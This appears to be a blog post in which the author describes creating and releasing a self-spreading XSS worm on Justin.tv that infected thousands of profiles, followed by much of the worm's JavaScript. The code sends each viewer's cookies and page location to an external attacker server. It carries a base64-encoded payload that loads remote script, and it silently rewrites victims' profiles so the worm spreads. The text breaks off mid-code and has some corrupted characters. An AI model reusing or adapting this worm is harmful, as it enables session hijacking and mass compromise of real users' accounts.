The worm I created was in Justin.Tv. The best thing about XSS worms is that they&#39;re as unique as the XSS. Tons of different things may occur, and it&#39;s up to many different variables that the worm is successful.&lt;br /&gt;
&lt;br /&gt;
The XSS in justin.tv was found by x2Fusion. x2Fusion and I worked on the worm right when we came up with the idea of making one.&lt;br /&gt;
&lt;br /&gt;
The XSS was in the Location field. So, people viewing another user&#39;s profile would run whatever we put there, as it was not sanitized. But there was one more challenge: the location was placed in the title sanitized. We had to find a way to not only hide the worm in the title, but we also had to impliment some javascript that automatically changed the title as soon as it loaded.&lt;br /&gt;
&lt;br /&gt;
Once we started on the worm, we made the .js file on an external website, and before script inclusion we put several HTML comment tags to hide it in the title. In the location javascript, we edited the location javascript (local) to dynamically remove the title, keeping it stealthy (as possible) to avoid other issues. The local javascript also made a hidden, blank iFrame that we could reference in the remove javascript.&lt;br /&gt;
&lt;br /&gt;
To start off, the remote javascript would force the iframe to our website and provide, dynamically, the client&#39;s cookies and profile location. We would use this to track what profiles were infected by who, and when, and all of the client details at the time.&lt;br /&gt;
&lt;br /&gt;
We would create the payload inside the remote javascript that we can use to inject with the viewing user&#39;s profile. The &quot;payload&quot; data is pretty much our local javascript. We also added a ^ (rare location element, if you ask me) character after the user&#39;s location, which our local javascript will use to manage the dynamic script.&lt;br /&gt;
&lt;br /&gt;
What we didn&#39;t think about, well... we were in a hurry so it&#39;s not our fault, ^ would remain on the titles. People would definately notice, but it wasn&#39;t patched until about 24 hours after.&lt;br /&gt;
&lt;br /&gt;
We printed a new iFrame (hidden), and used it to read out the details in convinient little sub-frame form elements. We took the elements and processed them, only changing the Location field if it wasn&#39;t already infected, and then sending the request (if it wasn&#39;t already infected).&lt;br /&gt;
&lt;br /&gt;
This was more complicated as it seemed... we had to fight between IE and Firefox (Safari follows Firefox for the most part) compatibility. After doing that, we realized... if the infected person was... well an actual broadcaster, the default page wasn&#39;t what we were looking for. Thus, we needed to dynamically read whether certain elements were given on the page, and also go to the correctly named page.&lt;br /&gt;
&lt;br /&gt;
We had another request upon new infections that saved user details.&lt;br /&gt;
&lt;br /&gt;
Once the request was sent, by then it is assumed the profile was infected and we have it recorded on our side. In-fact, quickly after we released it, I made a quick little PHP script that waited for more accounts to be infected (and their userdetails), and printed out a highlighted table element had it fade out after 5 seconds. After about 1500 profiles, I sat there watching 4 to 10 be infected a second, and it was funny to watch them be infected life.&lt;br /&gt;
&lt;br /&gt;
Actually, check it out:&lt;br /&gt;
&lt;br /&gt;
function URLEncode (clearString) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; var output = &#39;&#39;; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; var x = 0; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; clearString = clearString.toString(); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; var regex = /(^[a-zA-Z0-9_.]*)/; &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; while (x &amp;lt; clearString.length) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var match = regex.exec(clearString.substr(x)); &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (match != null &amp;amp;&amp;amp; match.length &amp;gt; 1 &amp;amp;&amp;amp; match[1] != &#39;&#39;) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; output += match[1]; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; x += match[1].length; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (clearString[x] == &#39; &#39;) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; output += &#39;+&#39;; &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var charCode = clearString.charCodeAt(x); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var hexVal = charCode.toString(16); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; output += &#39;%&#39; + (hexVal.length &amp;lt; 2 ? &#39;0&#39; : &#39;&#39;) + hexVal.toUpperCase(); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; x++; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; return output; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&lt;br /&gt;
function save_settings(action, enctype, method, query) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; var xmlHttp; &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; try &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; xmlHttp = new XMLHttpRequest(); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; catch (e) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; try &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; xmlHttp = new ActiveXObject(&quot;Msxml2.XMLHTTP&quot;); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; catch (e) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; try &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; xmlHttp = new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; catch (e) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return false; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; xmlHttp.open(method, action, true); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; xmlHttp.setRequestHeader(&#39;Content-Type&#39;, enctype); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; xmlHttp.send(query); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; return false; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
document.title = document.title.split(&#39;^&#39;)[0] + &quot; - Justin.tv&quot;; &lt;br /&gt;
var base64chars = &#39;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&#39;.split(&quot;&quot;); &lt;br /&gt;
var base64inv = { &lt;br /&gt;
}; &lt;br /&gt;
&lt;br /&gt;
for (var i = 0; i &amp;lt; base64chars.length; i++) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; base64inv[base64chars[i]] = i; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&lt;br /&gt;
function b64_d (s) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; s = s.replace(new RegExp(&#39;[^&#39; + base64chars.join(&quot;&quot;) + &#39;=]&#39;, &#39;g&#39;), &quot;&quot;); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; var p = (s.charAt(s.length - 1) == &#39;=&#39; ? (s.charAt(s.length - 2) == &#39;=&#39; ? &#39;AA&#39; : &#39;A&#39;) : &quot;&quot;); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; var r = &quot;&quot;; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; s = s.substr(0, s.length - p.length) + p; &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; for (var c = 0; c &amp;lt; s.length; c += 4) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var n = (base64inv[s.charAt©] &amp;lt;&amp;lt; 18) + (base64inv[s.charAt(c + 1)] &amp;lt;&amp;lt; 12) + (base64inv[s.charAt(c + 2)] &amp;lt;&amp;lt; 6) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; + base64inv[s.charAt(c + 3)]; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; r += String.fromCharCode((n &amp;gt;&amp;gt;&amp;gt; 16) &amp;amp; 255, (n &amp;gt;&amp;gt;&amp;gt; 8) &amp;amp; 255, n &amp;amp; 255); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; return r.substring(0, r.length - p.length); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&lt;br /&gt;
function b64_e(s) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; var r = &quot;&quot;; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; var p = &quot;&quot;; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; var c = s.length % 3; &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; if (c &amp;gt; 0) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for (;c &amp;lt; 3; c++) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; p += &#39;=&#39;; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; s += &quot;\0&quot;; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; for (c = 0; c &amp;lt; s.length; c += 3) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (c &amp;gt; 0 &amp;amp;&amp;amp; (c / 3 * 4) % 76 == 0) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; r += &quot;\r\n&quot;; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var n = (s.charCodeAt© &amp;lt;&amp;lt; 16) + (s.charCodeAt(c + 1) &amp;lt;&amp;lt; 8) + s.charCodeAt(c + 2); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n = [(n &amp;gt;&amp;gt;&amp;gt; 18) &amp;amp; 63, (n &amp;gt;&amp;gt;&amp;gt; 12) &amp;amp; 63, (n &amp;gt;&amp;gt;&amp;gt; 6) &amp;amp; 63, n &amp;amp; 63]; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; r += base64chars[n[0]] + base64chars[n[1]] + base64chars[n[2]] + base64chars[n[3] &lt;br /&gt;
]; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; return r.substring(0, r.length - p.length) + p; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
document.getElementById(&#39;tframeid&#39;).src = &quot;http://thedefaced.org/jtv/jtv_test.php?act=mesh&amp;amp;cookie=&quot; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; + b64_e(document.cookie) + &quot;&amp;amp;location=&quot; + b64_e(String(window.location)); &lt;br /&gt;
document.write(&quot;&quot;); &lt;br /&gt;
payload = b64_d( &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;XjwhLS1BbGwgb3BlbmluZ3MgaW4gYW4gaW50ZXJuYWwgb3IgZXh0ZXJuYWwgZmxvYXRpbmcgcm9 &lt;br /&gt;
vZiBleGNlcHQgZm9yIGF1dG9tYXRpYyBibGVlZGVyIHZlbnRzICh2YWN1dW0gYnJlYWtlciB2ZW50cyk &lt;br /&gt;
g &lt;br /&gt;
YW5kIHJpbSBzcGFjZSB2ZW50cyBtdXN0IHByb3ZpZGUgYSBwcm9qZWN0aW9uIGJlbG93IHRoZSBsaXF1 &lt;br /&gt;
a &lt;br /&gt;
WQgc3VyZmFjZSBvciBiZSBlcXVpcHBlZCB3aXRoIGEgY292ZXIsIHNlYWwsIG9yIGxpZCwgd2hpY2ggb &lt;br /&gt;
X &lt;br /&gt;
VzdCBiZSBpbiBhIGNsb3NlZCAoaS5lLiwgbm8gdmlzaWJsZSBnYXApIHBvc2l0aW9uIGF0IGFsbCB0aW &lt;br /&gt;
1 &lt;br /&gt;
lcyBleGNlcHQgd2hlbiB0aGUgZGV2aWNlIGlzIGluIGFjdHVhbCB1c2UuLS0+IDxpZnJhbWUgaWQ9J3R &lt;br /&gt;
m &lt;br /&gt;
cmFtZWlkJyB3aWR0aD0wIGhlaWdodD0wIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+PHNjcmlwdCBzcmM9 &lt;br /&gt;
I &lt;br /&gt;
mh0dHA6Ly90aGVkZWZhY2VkLm9yZy9qdHYvanR2X3Rlc3QucGhwP2FjdD1qcyIgbGFuZ3VhZ2U9Imphd &lt;br /&gt;
m &lt;br /&gt;
FzY3JpcHQiPjwvc2NyaXB0PiA8IS0tQWxsIG9wZW5pbmdzIGluIGFuIGludGVybmFsIG9yIGV4dGVybm &lt;br /&gt;
F &lt;br /&gt;
sIGZsb2F0aW5nIHJvb2YgZXhjZXB0IGZvciBhdXRvbWF0aWMgYmxlZWRlciB2ZW50cyAodmFjdXVtIGJ &lt;br /&gt;
y &lt;br /&gt;
ZWFrZXIgdmVudHMpIGFuZCByaW0gc3BhY2UgdmVudHMgbXVzdCBwcm92aWRlIGEgcHJvamVjdGlvbiBi &lt;br /&gt;
Z &lt;br /&gt;
WxvdyB0aGUgbGlxdWlkIHN1cmZhY2Ugb3IgYmUgZXF1aXBwZWQgd2l0aCBhIGNvdmVyLCBzZWFsLCBvc &lt;br /&gt;
i &lt;br /&gt;
BsaWQsIHdoaWNoIG11c &lt;br /&gt;
3QgYmUgaW4gYSBjbG9zZWQgKGkuZS4sIG5vIHZpc2libGUgZ2FwKSBwb3NpdGlvbiBhdCBhbGwgdGltZ &lt;br /&gt;
XMgZXhjZXB0IHdoZW4gdGhlIGRldmljZSBpcyBpbiBhY3R1YWwgdXNlLi0tPg==&quot;); &lt;br /&gt;
document.getElementById(&#39;tframeset&#39;).onload = function () &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; if (frames[&#39;tframeset&#39;].document.getElementById(&#39;user_location&#39;).value.indexOf( &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &#39;All openings in an internal or external floating roof&#39;) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; == -1) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; query = &quot;section=profile&amp;amp;session_user=&quot;; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; query += frames[&#39;tframeset&#39;].document.getElementById(&#39;session_user&#39;).value; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; query += &quot;&amp;amp;subsection=profile_info&quot;; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; query += &quot;&amp;amp;commit=Save%20Changes&quot;; &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (frames[&#39;tframeset&#39;].document.getElementById(&#39;user_hide_im_watching&#39;).value != 1) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; query += &quot;&amp;amp;user[hide_profile_actions]=0&quot;; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; query += &quot;&amp;amp;user[hide_profile_actions]=1&quot;; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }; &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (frames[&#39;tframeset&#39;].document.getElementById(&#39;user_hide_profile_actions&#39;).value != 1) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; query += &quot;&amp;amp;user[hide_profile_actions]=0&quot;; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; query += &quot;&amp;amp;user[hide_profile_actions]=1&quot;; &lt;br /&gt;
